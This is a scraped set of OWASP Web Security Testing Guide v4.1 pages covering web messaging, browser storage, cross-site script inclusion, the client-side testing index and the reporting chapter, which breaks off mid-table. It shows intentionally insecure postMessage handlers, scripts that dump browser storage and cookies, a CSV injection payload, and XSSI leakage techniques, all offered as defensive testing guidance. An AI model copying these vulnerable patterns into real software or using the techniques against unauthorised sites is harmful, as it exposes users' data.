`chat.owasp.org`\n- `forums.owasp.org`\n\nUnfortunately, this introduces vulnerabilities. An attacker can easily bypass the filter since a domain such as `www.owasp.org.attacker.com` will match.\n\nHere is an example of code that lacks an origin check. This is very insecure, as it will accept input from any domain:\n\n```\nwindow.addEventListener(“message”, callback, true); function callback(e) { /* process message (e.data) */ } \n```\n\nHere is an example with input validation vulnerabilities that may lead to XSS attack:\n\n```\nwindow.addEventListener(“message”, callback, true); function callback(e) { if(e.origin === \"trusted.domain.com\") { element.innerHTML= e.data; } } \n```\n\nA more secure approach would be to use the property `innerText` instead of `innerHTML`.\n\nFor further OWASP resources regarding web messaging, see [OWASP HTML5 Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5496, "slov": 773, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:42", "sha256": "a53c2341bc36a97b3a7ff21c94491942b399f80102ecb2ec5fe438b8a8877af9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://html.spec.whatwg.org/multipage/web-messaging.html", "https://html.spec.whatwg.org/multipage/", "https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage", "https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/12-Testing_Browser_Storage", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/12-Testing_Browser_Storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/12-Testing_Browser_Storage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing Browser Storage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Local Storage"}, {"uroven": 4, "text": "List All Key-Value Entries"}, {"uroven": 3, "text": "Session Storage"}, {"uroven": 4, "text": "List All Key-Value Entries"}, {"uroven": 3, "text": "IndexedDB"}, {"uroven": 4, "text": "Print All the Contents of IndexedDB"}, {"uroven": 3, "text": "Web SQL"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 4, "text": "List All Cookies"}, {"uroven": 3, "text": "Global Window Object"}, {"uroven": 4, "text": "List All Entries on the Window Object"}, {"uroven": 3, "text": "Attack Chain"}, {"uroven": 3, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing Browser Storage\n\n| ID |\n| --- |\n| WSTG-CLNT-12 |\n\n## Summary\n\nBrowsers provide the following client-side storage mechanisms for developers to store and retrieve data:\n\n- Local Storage\n- Session Storage\n- IndexedDB\n- Web SQL (Deprecated)\n- Cookies\n\nThese storage mechanisms can be viewed and edited using the browser’s developer tools, such as [Google Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/storage/localstorage) or [Firefox’s Storage Inspector](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector).\n\nNote: While cache is also a form of storage it is covered in a [separate section](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses) covering its own peculiarities and concerns.\n\n## Test Objectives\n\nTesting should be conducted to determine whether the website is storing sensitive data in client-side storage. The code handling of the storage objects should be examined for possibilities of injection attacks, such as utilizing unvalidated input. JavaScript in particular should be examined to determine if scripts or third party libraries are introducing vulnerabilities.\n\n## How to Test\n\n### Local Storage\n\n`window.localStorage` is a global property that implements the [Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) and provides **persistent** key-value storage in the browser.\n\nBoth the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify).\n\nEntries to `localStorage` persist even when the browser window closes, with the exception of windows in Private/Incognito mode.\n\nThe maximum storage capacity of `localStorage` varies between browsers.\n\n#### List All Key-Value Entries\n\n```\nfor (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); const value = localStorage.getItem(key); console.log(`${key}: ${value}`); } \n```\n\n### Session Storage\n\n`window.sessionStorage` is a global property that implements the [Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) and provides **ephemeral** key-value storage in the browser.\n\nBoth the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify).\n\nEntries to `sessionStorage` are ephemeral because they are cleared when the browser tab/window is closed.\n\nThe maximum storage capacity of `sessionStorage` varies between browsers.\n\n#### List All Key-Value Entries\n\n```\nfor (let i = 0; i < sessionStorage.length; i++) { const key = sessionStorage.key(i); const value = sessionStorage.getItem(key); console.log(`${key}: ${value}`); } \n```\n\n### IndexedDB\n\nIndexedDB is a transactional, object-oriented database intended for structured data. An IndexedDB database can have multiple object stores and each object store can have multiple objects.\n\nIn contrast to Local Storage and Session Storage, IndexedDB can store more than just strings. Any objects supported by the [structured clone algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm) can be stored in IndexedDB.\n\nAn example of a complex JavaScript object that can be stored in IndexedDB, but not in Local/Session Storage are [CryptoKeys](https://developer.mozilla.org/en-US/docs/Web/API/CryptoKey).\n\nW3C recommendation on [Web Crypto API](https://www.w3.org/TR/WebCryptoAPI/) [recommends](https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage) that CryptoKeys that need to be persisted in the browser, to be stored in IndexedDB. When testing a web page, look for any CryptoKeys in IndexedDB and check if they are set as `extractable: true` when they should have been set to `extractable: false` (i.e. ensure the underlying private key material is never exposed during cryptographic operations.)\n\n#### Print All the Contents of IndexedDB\n\n```\nconst dumpIndexedDB = dbName => { const DB_VERSION = 1; const req = indexedDB.open(dbName, DB_VERSION); req.onsuccess = function() { const db = req.result; const objectStoreNames = db.objectStoreNames || []; console.log(`[*] Database: ${dbName}`); Array.from(objectStoreNames).forEach(storeName => { const txn = db.transaction(storeName, 'readonly'); const objectStore = txn.objectStore(storeName); console.log(`\\t[+] ObjectStore: ${storeName}`); // Print all entries in objectStore with name `storeName` objectStore.getAll().onsuccess = event => { const items = event.target.result || []; items.forEach(item => console.log(`\\t\\t[-] `, item)); }; }); }; }; indexedDB.databases().then(dbs => dbs.forEach(db => dumpIndexedDB(db.name))); \n```\n\n### Web SQL\n\nWeb SQL is deprecated since November 18, 2010 and it’s recommended that web developers do not use it.\n\n### Cookies\n\nCookies are a key value storage mechanism that is primarily used for session management but web developers can still use it to store arbitrary string data.\n\nCookies are covered extensively in the [testing for Cookies attributes](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) scenario.\n\n#### List All Cookies\n\n```\nconsole.log(window.document.cookie); \n```\n\n### Global Window Object\n\nSometimes web developers initialize and maintain global state that is available only during the runtime life of the page by assigning custom attributes to the global `window` object. For example:\n\n```\nwindow.MY_STATE = { counter: 0, flag: false, }; \n```\n\nAny data attached on the `window` object will be lost when the page is refreshed or closed.\n\n#### List All Entries on the Window Object\n\n```\n(() => { // create an iframe and append to body to load a clean window object const iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe); // get the current list of properties on window const currentWindow = Object.getOwnPropertyNames(window); // filter the list against the properties that exist in the clean window const results = currentWindow.filter( prop => !iframe.contentWindow.hasOwnProperty(prop) ); // remove iframe document.body.removeChild(iframe); // log key-value entries that are different results.forEach(key => console.log(`${key}: ${window[key]}`)); })(); \n```\n\n*(Modified version of this [snippet](https://stackoverflow.com/a/17246535/3099132))*\n\n### Attack Chain\n\nFollowing the identification any of the above attack vectors, an attack chain can be formed with different types of client side attacks, such as [DOM based XSS](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting) attacks.\n\n### Remediation\n\n- Applications should be storing sensitive data on the server side, and not on the client-side, in a secured manner following best practices.\n\n## References\n\n- [Local Storage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)\n- [Session Storage](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage)\n- [IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API)\n- [Web Crypto API: Key Storage](https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage)\n- [Web SQL](https://www.w3.org/TR/webdatabase/)\n- [Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n\nFor more OWASP resources on the HTML5 Web Storage API, see the [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#html5-web-storage-api).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7781, "slov": 917, "odkazu": 190, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:43", "sha256": "8dbb70964b6ebe0fd1d999a28c96b25c0f8dc868f79d124b7fe7c253dcca68bf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developers.google.com/web/tools/chrome-devtools/storage/localstorage", "https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector", "https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify", "https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm", "https://developer.mozilla.org/en-US/docs/Web/API/CryptoKey", "https://www.w3.org/TR/WebCryptoAPI/", "https://stackoverflow.com/a/17246535/3099132", "https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage", "https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage", "https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API", "https://www.w3.org/TR/webdatabase/", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Cross Site Script Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Collect Data Using Authenticated and Unauthenticated User Sessions"}, {"uroven": 3, "text": "Determine Whether the Sensitive Data Can Be Leaked Using JavaScript"}, {"uroven": 3, "text": "1. Sensitive Data Leakage via Global Variables"}, {"uroven": 3, "text": "2. Sensitive Data Leakage via Global Function Parameters"}, {"uroven": 3, "text": "3. Sensitive Data Leakage via CSV with Quotations Theft"}, {"uroven": 3, "text": "4. Sensitive Data Leakage via JavaScript Runtime Errors"}, {"uroven": 3, "text": "5. Sensitive Data Leakage via Prototype Chaining Using this"}], "markdown": "# WSTG - v4.1\n\n# Testing for Cross Site Script Inclusion\n\n| ID |\n| --- |\n| WSTG-CLNT-13 |\n\n## Summary\n\nCross Site Script Inclusion (XSSI) vulnerability allows sensitive data leakage across-origin or cross-domain boundaries. Sensitive data could include authentication-related data (login states, cookies, auth tokens, session IDs, etc.) or user’s personal or sensitive personal data (email addresses, phone numbers, credit card details, social security numbers, etc.). XSSI is a client-side attack similar to Cross Site Request Forgery (CSRF) but has a different purpose. Where CSRF uses the authenticated user context to execute certain state-changing actions inside a victim’s page (e.g. transfer money to the attacker’s account, modify privileges, reset password, etc.), XSSI instead uses JavaScript on the client side to leak sensitive data from authenticated sessions.\n\nBy default, websites are only allowed to access data if they are from the same origin. This is a key application security principle and governed by the same-origin policy (defined by [RFC 6454](https://tools.ietf.org/html/rfc6454)). An origin is defined as the combination of URI scheme (HTTP or HTTPS), host name, and port number. However, this policy is not applicable for HTML `
\n```\n\nIn this example, a victim is authenticated with `victim.com`. An attacker lures the victim to `attackingwebsite.com` via social engineering, phishing emails, etc. The victim’s browser then fetches `api.js`, resulting in the sensitive data being leaked via the global JavaScript variable and displayed using `innerHTML`.\n\n### 2. Sensitive Data Leakage via Global Function Parameters\n\nThis example is similar to the previous one, except in this case `attackingwebsite.com` uses a global JavaScript function to extract the sensitive data by overwriting the victim’s global JavaScript function.\n\nHere are the contents of `https://victim.com/internal/api.js`:\n\n```\n(function() { var secret = \"supersecretAPIkey\"; window.globalFunction(secret); })(); \n```\n\nThe attack site, `attackingwebsite.com`, has an `index.html` with the following code:\n\n```\n Leaking data via global function parameters
\n```\n\nThere are other XSSI vulnerabilities that can result in sensitive data leakage either via JavaScript prototype chains or global function calls. For more on these attacks, see [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf).\n\n### 3. Sensitive Data Leakage via CSV with Quotations Theft\n\nTo leak data the attacker/tester has to be able to inject JavaScript code into the CSV data. The following example code is an excerpt from Takeshi Terada’s [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf) whitepaper.\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/csv\nContent-Disposition: attachment; filename=\"a.csv\"\nContent-Length: xxxx\n\n1,\"___\",\"aaa@a.example\",\"03-0000-0001\"\n2,\"foo\",\"bbb@b.example\",\"03-0000-0002\"\n...\n98,\"bar\",\"yyy@example.net\",\"03-0000-0088\"\n99,\"___\",\"zzz@example.com\",\"03-0000-0099\"\n```\n\nIn this example, using the `___` columns as injection points and inserting JavaScript strings in their place has the following result.\n\n```\n1,\"\\\"\",$$$=function(){/*\",\"aaa@a.example\",\"03-0000-0001\"\n2,\"foo\",\"bbb@b.example\",\"03-0000-0002\"\n...\n98,\"bar\",\"yyy@example.net\",\"03-0000-0088\"\n99,\"*/}//\",\"zzz@example.com\",\"03-0000-0099\"\n```\n\n[Jeremiah Grossman wrote about a similar vulnerability in Gmail](https://blog.jeremiahgrossman.com/2006/01/advanced-web-attack-techniques-using.html) in 2006 that allowed the extraction of user contacts in JSON. In this case, the data was received from Gmail and parsed by the browser JavaScript engine using an unreferenced Array constructor to leak the data. An attacker could access this Array with the sensitive data by defining and overwriting the internal Array constructor like this:\n\n```\n Leaking gmail contacts via JSON \n```\n\n### 4. Sensitive Data Leakage via JavaScript Runtime Errors\n\nBrowsers normally present standardized [JavaScript error messages](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors). However, in the case of IE9/10, runtime error messages provided additional details that could be used to leak data. For example, a website `victim.com` serves the following content at the URI `http://victim.com/service/csvendpoint` for authenticated users:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/csv\nContent-Disposition: attachment; filename=\"a.csv\"\nContent-Length: 13\n\n1,abc,def,ghi\n```\n\nThis vulnerability could be exploited with the following:\n\n```\n \n```\n\nWhen the browser tries to render the CSV content as JavaScript, it fails and leaks the sensitive data:\n\n### 5. Sensitive Data Leakage via Prototype Chaining Using `this`\n\nIn JavaScript, the `this` keyword is dynamically scoped. This means if a function is called upon an object, `this` will point to this object even though the called function might not belong to the object itself. This behavior can be used to leak data. In the following example from [Sebastian Leike’s demonstration page](http://sebastian-lekies.de/leak/), the sensitive data is stored in an Array. An attacker can override `Array.prototype.forEach` with an attacker-controlled function. If some code calls the `forEach` function on an array instance that contains sensitive values, the attacker-controlled function will be invoked with `this` pointing to the object that contains the sensitive data.\n\nHere is an excerpt of a JavaScript file containing sensitive data, `javascript.js`:\n\n```\n... (function() { var secret = [\"578a8c7c0d8f34f5\", \"345a8b7c9d8e34f5\"]; secret.forEach(function(element) { // do something here }); })(); ... \n```\n\nThe sensitive data can be leaked with the following JavaScript code:\n\n```\n...
\n \n \n... \n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9953, "slov": 1332, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:44", "sha256": "7bc31ed523d5cbe7aa1bda4a784065818538798524f26b6d68e6d0590b7f41d4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc6454", "https://www.mbsd.jp/Whitepaper/xssi.pdf", "https://en.wikipedia.org/wiki/JSONP", "https://github.com/luh2/DetectDynamicJS", "https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf", "https://blog.jeremiahgrossman.com/2006/01/advanced-web-attack-techniques-using.html", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors", "http://sebastian-lekies.de/leak/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.11 Client-Side Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.11 Client-Side Testing\n\n4.11.1 [Testing for DOM-Based Cross Site Scripting](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting)\n\n4.11.2 [Testing for JavaScript Execution](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/02-Testing_for_JavaScript_Execution)\n\n4.11.3 [Testing for HTML Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/03-Testing_for_HTML_Injection)\n\n4.11.4 [Testing for Client Side URL Redirect](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/04-Testing_for_Client_Side_URL_Redirect)\n\n4.11.5 [Testing for CSS Injection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-Testing_for_CSS_Injection)\n\n4.11.6 [Testing for Client Side Resource Manipulation](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/06-Testing_for_Client_Side_Resource_Manipulation)\n\n4.11.7 [Testing Cross Origin Resource Sharing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/07-Testing_Cross_Origin_Resource_Sharing)\n\n4.11.8 [Testing for Cross Site Flashing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/08-Testing_for_Cross_Site_Flashing)\n\n4.11.9 [Testing for Clickjacking](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)\n\n4.11.10 [Testing WebSockets](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/10-Testing_WebSockets)\n\n4.11.11 [Testing Web Messaging](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/11-Testing_Web_Messaging)\n\n4.11.12 [Testing Browser Storage](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/12-Testing_Browser_Storage)\n\n4.11.13 [Testing for Cross Site Script Inclusion](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2450, "slov": 184, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:31", "sha256": "5c38fd19803043a854c9714e01a2873601e56c71f0aab56c63a4d9ca3a6359dc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/5-Reporting/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/5-Reporting/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/5-Reporting/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Reporting"}, {"uroven": 2, "text": "1. Executive Summary"}, {"uroven": 2, "text": "2. Test Parameters"}, {"uroven": 2, "text": "3. Findings"}, {"uroven": 2, "text": "Appendix"}], "markdown": "# WSTG - v4.1\n\n# Reporting\n\nPerforming the technical side of the assessment is only half of the overall assessment process. The final product is the production of a well written and informative report. A report should be easy to understand and should highlight all the risks found during the assessment phase. The report should appeal to both executive management and technical staff.\n\nThe report needs to have three major sections. It should be created in a manner that allows each separate section to be printed and given to the appropriate teams, such as the developers or system managers. The recommended sections are outlined below.\n\n## 1. Executive Summary\n\nThe executive summary sums up the overall findings of the assessment and gives business managers and system owners a high level view of the vulnerabilities discovered. The language used should be more suited to people who are not technically aware and should include graphs or other charts which show the risk level. Keep in mind that executives will likely only have time to read this summary and will want two questions answered in plain language:\n\n1. *What’s wrong?*\n2. *How do I fix it?* You have one page to answer these questions.\n\nThe executive summary should plainly state that the vulnerabilities and their severity is an **input** to their organizational risk management process, not an outcome or remediation. It is safest to explain that tester does not understand the threats faced by the organization or business consequences if the vulnerabilities are exploited. This is the job of the risk professional who calculates risk levels based on this and other information. Risk management will typically be part of the organization’s IT Security Governance, Risk and Compliance (GRC) regime and this report will simply provide an input to that process.\n\n## 2. Test Parameters\n\nThe Introduction should outline the parameters of the security testing, the findings and remediation. Some suggested section headings include:\n\n**2.1 Project Objective:** This section outlines the project objectives and the expected outcome of the assessment.\n\n**2.2 Project Scope:** This section outlines the agreed scope.\n\n**2.3 Project Schedule:** This section outlines when the testing commenced and when it was completed.\n\n**2.4 Targets:** This section lists the number of applications or targeted systems.\n\n**2.5 Limitations:** This section outlines every limitation which was faced throughout the assessment. For example, limitations of project-focused tests, limitation in the security testing methods, performance or technical issues that the tester come across during the course of assessment, etc.\n\n**2.6 Findings Summary:** This section outlines the vulnerabilities that were discovered during testing.\n\n**2.7 Remediation Summary:** This section outlines the action plan for fixing the vulnerabilities that were discovered during testing.\n\n## 3. Findings\n\nThe last section of the report includes detailed technical information about the vulnerabilities found and the actions needed to resolve them. This section is aimed at a technical level and should include all the necessary information for the technical teams to understand the issue and resolve it. Each finding should be clear and concise and give the reader of the report a full understanding of the issue at hand.\n\nThe findings section should include:\n\n- Screenshots and command lines to indicate what tasks were undertaken during the execution of the test case\n- The affected item\n- A technical description of the issue and the affected function or object\n- A section on resolving the issue\n- The severity rating, with vector notation if using [CVSS (Industry standard vulnerability severity and risk rankings)](http://www.first.org/cvss)\n\nThe following is the list of controls that were tested during the assessment:\n\n| Test ID | Test Description | Findings | Severity | Recommendations |\n| --- | --- | --- | --- | --- |\n| **WSTG-INFO** | **Information Gathering** | | | |\n| WSTG-INFO-01 | Conduct Search Engine Discovery and Reconnaissance for Information Leakage | | | |\n| WSTG-INFO-02 | Fingerprint Web Server | | | |\n| WSTG-INFO-03 | Review Webserver Metafiles for Information | | | |\n| WSTG-INFO-04 | Enumerate Applications on Webserver | | | |\n| WSTG-INFO-05 | Review Webpage Comments and Metadata for Information Leakage | | | |\n| WSTG-INFO-06 | Identify Application Entry Points | | | |\n| WSTG-INFO-07 | Map Execution Paths Through Application | | | |\n| WSTG-INFO-09 | Fingerprint Web Application Framework | | | |\n| WSTG-INFO-09 | Fingerprint Web Application | | | |\n| WSTG-INFO-10 | Map Application Architecture | | | |\n| **WSTG-CONF** | **Configuration and Deploy Management Testing** | | | |\n| WSTG-CONF-01 | Test Network Infrastructure Configuration | | | |\n| WSTG-CONF-02 | Test Application Platform Configuration | | | |\n| WSTG-CONF-03 | Test File Extensions Handling for Sensitive Information | | | |\n| WSTG-CONF-04 | Backup and Unreferenced Files for Sensitive Information | | | |\n| WSTG-CONF-05 | Enumerate Infrastructure and Application Admin Interfaces | | | |\n| WSTG-CONF-06 | Test HTTP Methods | | | |\n| WSTG-CONF-07 | Test HTTP Strict Transport Security | | | |\n| WSTG-CONF-08 | Test RIA Cross Domain Policy | | | |\n| WSTG-CONF-09 | Test File Permission | | | |\n| WSTG-CONF-10 | Test for Subdomain Takeover | | | |\n| WSTG-CONF-11 | Test Cloud Storage | | | |\n| **WSTG-IDNT** | **Identity Management Testing** | | | |\n| WSTG-IDNT-01 | Test Role Definitions | | | |\n| WSTG-IDNT-02 | Test User Registration Process | | | |\n| WSTG-IDNT-03 | Test Account Provisioning Process | | | |\n| WSTG-IDNT-04 | Testing for Account Enumeration and Guessable User Account | | | |\n| WSTG-IDNT-05 | Testing for Weak or Unenforced Username Policy | | | |\n| **WSTG-ATHN** | **Authentication Testing** | | | |\n| WSTG-ATHN-01 | Testing for Credentials Transported over an Encrypted Channel | | | |\n| WSTG-ATHN-02 | Testing for Default Credentials | | | |\n| WSTG-ATHN-03 | Testing for Weak Lock Out Mechanism | | | |\n| WSTG-ATHN-04 | 